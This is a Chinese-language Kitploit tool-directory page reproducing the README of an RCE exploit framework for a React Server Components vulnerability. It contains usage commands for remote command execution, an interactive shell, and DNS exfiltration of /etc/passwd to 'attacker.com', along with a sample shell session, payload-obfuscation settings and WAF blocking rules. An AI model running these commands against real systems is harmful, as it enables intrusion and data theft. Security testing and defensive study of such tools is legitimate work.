Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit — 针对 CVE-2025-55182 的高级 React Server Components RCE 扫描器。功能:多阶段指纹识别、漏洞验证、DNS 数据外传、交互式 shell、载荷混淆以及专业报告(JSON/HTML/PDF)。仅限授权测试。 | Kitploit
工具/GitHubGitHub/cerberusmrxi/cve-2025-55182-advanced-react-server-components-rce-exploit
侦察漏洞扫描器漏洞利用Web应用程序漏洞利用数据泄露WAF绕过渗透测试远程访问工具Payload 开发
分享
GitHubcerberusmrxi/cve-2025-55182-advanced-react-server-components-rce-exploit

CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit

针对 CVE-2025-55182 的高级 React Server Components RCE 扫描器。功能:多阶段指纹识别、漏洞验证、DNS 数据外传、交互式 shell、载荷混淆以及专业报告(JSON/HTML/PDF)。仅限授权测试。

查看仓库
1633个月前尚未审核
<div align="center">

# 🔐 ReactRCE-Scanner

### CVE-2025-55182 — 高级 React 服务器组件 RCE 漏洞利用与评估框架

<p align="center">
<a href="https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit"><img src="https://img.shields.io/badge/version-1.0.0-blue?style=for-the-badge&amp;logo=git&amp;logoColor=white" alt="Version"></a>
  <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-55182"><img src="https://img.shields.io/badge/CVE-2025--55182-red?style=for-the-badge&amp;logo=shield&amp;logoColor=white" alt="CVE"></a>
  <a href="https://www.first.org/cvss/"><img src="https://img.shields.io/badge/CVSS-9.8%20CRITICAL-critical?style=for-the-badge&amp;logo=security&amp;logoColor=white" alt="CVSS"></a>
  <a href="https://python.org"><img src="https://img.shields.io/badge/python-3.8+-blue?style=for-the-badge&amp;logo=python&amp;logoColor=white" alt="Python"></a>
  <a href="https://github.com/cerberusmrxi/cve-2025-55182-advanced-react-server-components-rce-exploit/blob/main/LICENSE"><img src="https://img.shields.io/badge/license-MIT-green?style=for-the-badge&amp;logo=open-source-initiative&amp;logoColor=white" alt="License"></a>
</p> <p align="center">
  <a href="https://github.com/CerberusMrXi"><img src="https://img.shields.io/badge/author-CerberusMrXi-orange?style=for-the-badge&amp;logo=github" alt="Author"></a>
  <a href="http://makeapullrequest.com"><img src="https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=for-the-badge&amp;logo=git-pull-request" alt="PRs Welcome"></a>
  <a href="https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit/releases"><img src="https://img.shields.io/github/downloads/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit/total?style=for-the-badge&amp;logo=github" alt="Downloads"></a>
</p> </div>

---

## 📑 目录

- [法律免责声明与道德须知](#-legal-disclaimer--ethical-notice)

- [概述](#-overview)

- [核心能力](#-key-capabilities)

- [快速入门指南](#-quick-start-guide)

- [架构与功能深入解析](#-architecture--feature-deep-dive)

- [配置参考](#-configuration-reference)

- [自动化测试套件](#-automated-test-suite)

- [修复与缓解措施](#-remediation--mitigation)

- [贡献与社区](#-contributing--community)

- [参考资料](#-references)

- [许可证与作者](#-license--author)

---

## ⚠️ 法律免责声明与道德须知

> **本工具专为教育与授权安全测试目的而设计。** 在未获得事先书面同意的情况下,针对目标未经授权使用本软件,将违反国际计算机犯罪法律,包括《计算机欺诈与滥用法案》(CFAA)、GDPR 规定以及标准服务条款协议。作者及贡献者对本程序导致的任何滥用、非法操作或间接损害概不承担责任。**请严格自行承担风险。**

---

## 📋 概述

**ReactRCE-Scanner** 是一款企业级安全评估与验证框架,专为 **CVE-2025-55182** [1] 设计,这是一个影响 React 服务器组件的严重远程代码执行(RCE)漏洞,影响版本范围为 `19.0.0` 至 `19.2.0`。

该框架弥合了理论漏洞研究与实际安全验证之间的差距。通过整合多阶段指纹识别、严格的误报削减、高级载荷混淆以及自动化多格式报告,它为安全工程师提供了精确的诊断能力。

<div align="center">

| **使用** | **扫描结果** |
|:---------:|:----------------:|
| <img src="https://github.com/user-attachments/assets/ee7a96b7-f4cd-4e00-b780-97c7d9ca3523" width="900"> | <img src="https://github.com/user-attachments/assets/e4b493d1-c5a1-494e-8385-2b92ab5fb76e" width="900"> |

</div>


---

## 🎯 核心能力

| 功能类别 | 实现亮点 | 运行状态 |
| --- | --- | --- |
| **智能指纹识别** | 多源框架与版本检测,配备置信度评分算法。 | ✅ |
| **多阶段验证** | 5 阶段验证流水线,旨在系统性地消除误报。 | ✅ |
| **载荷生成** | 混淆载荷构建器,支持 DNS 外带与多重编码。 | ✅ |
| **交互式 Shell** | 在已验证目标上实现实时伪交互式命令执行与 Shell 访问。 | ✅ |
| **全面报告** | 自动生成 JSON、HTML、PDF 和 Markdown 格式报告。 | ✅ |
| **DNS 外带** | 通过安全 DNS 查询处理实现带外命令输出外带。 | ✅ |
| **并发引擎** | 高性能多线程扫描架构,适用于大规模攻击面。 | ✅ |
| **代理集成** | 支持 HTTP/HTTPS 和 SOCKS 代理,用于匿名化评估流量。 | ✅ |

---

## 🚀 快速入门指南

### 安装

克隆仓库并使用自动化安装脚本或手动安装依赖来初始化环境:

```bash
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit

# Configure execution permissions and run setup script
chmod +x setup.sh
./setup.sh

# Alternatively, install core Python dependencies manually
pip install -r requirements.txt
```

### 基本命令参考

该框架通过模块化 CLI 架构运行,支持单目标验证、从文件列表批量扫描、交互式 Shell 生成以及合规报告。

```bash
# 1. Perform a vulnerability scan against a single target
python exploit.py -t https://target.com -m scan

# 2. Execute bulk scans from a target list with JSON export
python exploit.py -f targets.txt -m scan -o report.json

# 3. Execute a single command on a verified vulnerable endpoint
python exploit.py -t https://target.com -m exploit -c "whoami"

# 4. Initiate an interactive remote shell session
python exploit.py -t https://target.com -m shell

# 5. Execute commands with out-of-band DNS exfiltration
python exploit.py -t https://target.com -m exploit -c "cat /etc/passwd" -d attacker.com

# 6. Compile a professional executive assessment report in PDF format
python exploit.py -f targets.txt -o assessment_report.pdf --format pdf
```

---

## 🔬 架构与功能深入解析

### 1. 智能指纹识别引擎

该框架在载荷投递之前执行深度侦察。它分析多个 HTTP 头字段(`X-Powered-By`、`Next-Action`、`RSC`)、HTML 结构元标签(`data-reactroot`、`__NEXT_DATA__`)、静态构建资源以及 JavaScript 源码包 [2] [3]。

置信度评分分为四个等级:

- **CRITICAL(95%+):** 多个正交指标确认存在易受攻击的 React 服务器组件运行时版本。

- **HIGH(75–95%):** 识别到强结构指标,且版本精确匹配。

- **MEDIUM(50–75%):** 存在部分框架标记;需要人工验证。

- **LOW(<50%):** 检测到弱启发式特征;误报概率较高。

### 2. 多阶段验证工作流

为保持操作完整性并防止意外服务中断,载荷在解锁任何利用阶段之前,必须通过严格的验证流水线。

```
Target URL / Endpoint
       │
       ▼
[Stage 1] Framework & Header Detection
       │
       ▼
[Stage 2] Component Version Analysis
       │
       ▼
[Stage 3] Protocol Compatibility Check
       │
       ▼
[Stage 4] Non-Destructive Safe Validation Request
       │
       ▼
[Stage 5] Statistical Confidence Scoring
       │
       ▼
Vulnerability Assessment Decision
```

### 3. 载荷混淆与规避

为测试防御控制和 Web 应用防火墙(WAF),该框架内置了高级载荷生成器,支持:

- **编码方案:** Base64、十六进制和八进制转换。

- **结构混淆:** 动态字符串拆分、垃圾代码注入以及替代 `require` 方法映射。

- **带外(OOB)外带:** 当直接响应通道受限时,通过 DNS 查询进行安全数据隧道传输。

### 4. 交互式命令 Shell

成功建立会话后,操作员可以调用交互式 Shell 环境进行验证后枚举。

```bash
$ python exploit.py -t https://target.com -m shell
[*] Initializing interactive shell session against https://target.com
[!] Type 'exit' to terminate the session.

shell> whoami
www-data

shell> uname -a
Linux ip-10-0-1-15 6.8.0-1018-aws #20-Ubuntu SMP PREMO__X64 x86_64 GNU/Linux

shell> exit
[*] Terminating session and cleaning up temporary artifacts...
```

### 5. 专业报告套件

报告可以多种标准化格式(`JSON`、`HTML`、`PDF`、`Markdown`)生成,包含执行摘要、风险指标、详细技术发现、证据时间线以及 CVSS v3.1 评分细分 [4]。

---

## ⚙️ 配置参考

高级参数通过 `config.yaml` 配置文件进行管理。以下是生产环境配置模板:

```yaml
# ReactRCE-Scanner Production Configuration

timeout: 30
threads: 20
max_retries: 3
proxy: null

user_agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"

headers:
  Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
  Accept-Language: "en-US,en;q=0.5"
  Accept-Encoding: "gzip, deflate, br"

output:
  format: "json"
  directory: "./reports"

logging:
  level: "INFO"
  file: "exploit.log"

exploit:
  obfuscate: true
  encoding: "base64"
  timeout: 60

scanning:
  concurrent_scans: 20
  rate_limit: 0.5
  timeout: 30

fingerprint:
  enable_deep_analysis: true
  follow_redirects: true
  analyze_assets: true
```

通过以下方式引用自定义配置文件执行扫描:

```bash
python exploit.py -f targets.txt -C config.yaml -o report.json
```

---

## 🧪 自动化测试套件

该仓库包含全面的单元测试和集成测试套件,以确保各版本间模块的稳定性。

```bash
# Execute the complete automated test suite
python exploit.py --test

# Expected Output:
Running test suite...
✓ test_fingerprinting passed
✓ test_payload_generation passed
✓ test_config_loading passed
✓ test_verification passed
✓ test_report_generation passed

Tests passed: 5/5
```

供贡献者搭建本地开发环境:

```bash
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit
pip install -r requirements-dev.txt

# Run pytest unit tests
pytest tests/

# Format and lint codebase
black exploit.py
flake8 exploit.py
```

---

## 🛡️ 修复与缓解措施

### 立即管理措施

1. **打补丁:** 立即将 React 包升级到 `19.2.1` 或更高版本。将 Next.js 实例更新到 `15.0.4+` 版本 [5]。

1. **监控:** 检查 HTTP 访问日志中可疑的 `Next-Action` 头值以及未验证的原型引用(`__proto__`、`constructor`)[6]。

1. **网络加固:** 限制应用服务器的出站递归 DNS 查询,以防止数据外带。

### 参考 WAF 规则(Nginx / OpenResty)

```
# Block prototype pollution and remote execution attempts in request bodies
if ($request_body ~* "__proto__") {
    return 403;
}
if ($request_body ~* "constructor") {
    return 403;
}
if ($request_body ~* "child_process") {
    return 403;
}
if ($request_body ~* "execSync") {
    return 403;
}
```

---

## 📚 参考资料

1. [National Vulnerability Database — CVE-2025-55182 Advisory](https://nvd.nist.gov/vuln/detail/CVE-2025-55182)

1. [React Security Documentation & Advisories](https://react.dev/security)

1. [Next.js Security Bulletins](https://nextjs.org/blog/security)

1. [FIRST CVSS v3.1 Specification & Calculator](https://www.first.org/cvss/calculator/3.1)

1. [OWASP Guide to Prototype Pollution Vulnerabilities](https://www.owasp.org/index.php/Prototype_Pollution)

1. [Node.js Child Process Security Best Practices](https://nodejs.org/api/child_process.html)

---

## 🤝 贡献与社区

欢迎贡献、功能请求和错误报告。请遵循标准的 fork-and-pull request 工作流:

1. Fork 仓库(`https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit/fork`)

1. 创建功能分支(`git checkout -b feature/AdvancedScannerModule`)

1. 提交更改(`git commit -m 'Add advanced scanning heuristic'`)

1. 推送到分支(`git origin push feature/AdvancedScannerModule`)

1. 打开 Pull Request

---

## 📜 许可证与作者

基于 **MIT 许可证** 分发。更多信息请参见 [LICENSE](https://github.com/cerberusmrxi/cve-2025-55182-advanced-react-server-components-rce-exploit/blob/main/LICENSE)。

<div align="center">

**由 CerberusMrXi 精心打造** *最后更新:2026 年 8 月*

</div>
下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    907
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    731
  • 3

    wifit3

    derv82/wifit3

    Wifite 但仅限 USB 且跨平台。

    504
  • 4

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    449
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer是一个开源的特权访问管理(PAM)平台,为DevOps和IT团队提供通过Web浏览器按需安全访问SSH、RDP、Kubernetes、数据库和RemoteApp端点的能力。

    415
  • 6

    SafeLine

    chaitin/safeline

    自托管WAF和反向代理,可过滤恶意HTTP流量、阻止SQL注入、XSS和机器人攻击,具备速率限制和动态HTML/JS加密功能。

    365

探索所有工具

浏览我们的工具集合

查看所有工具 →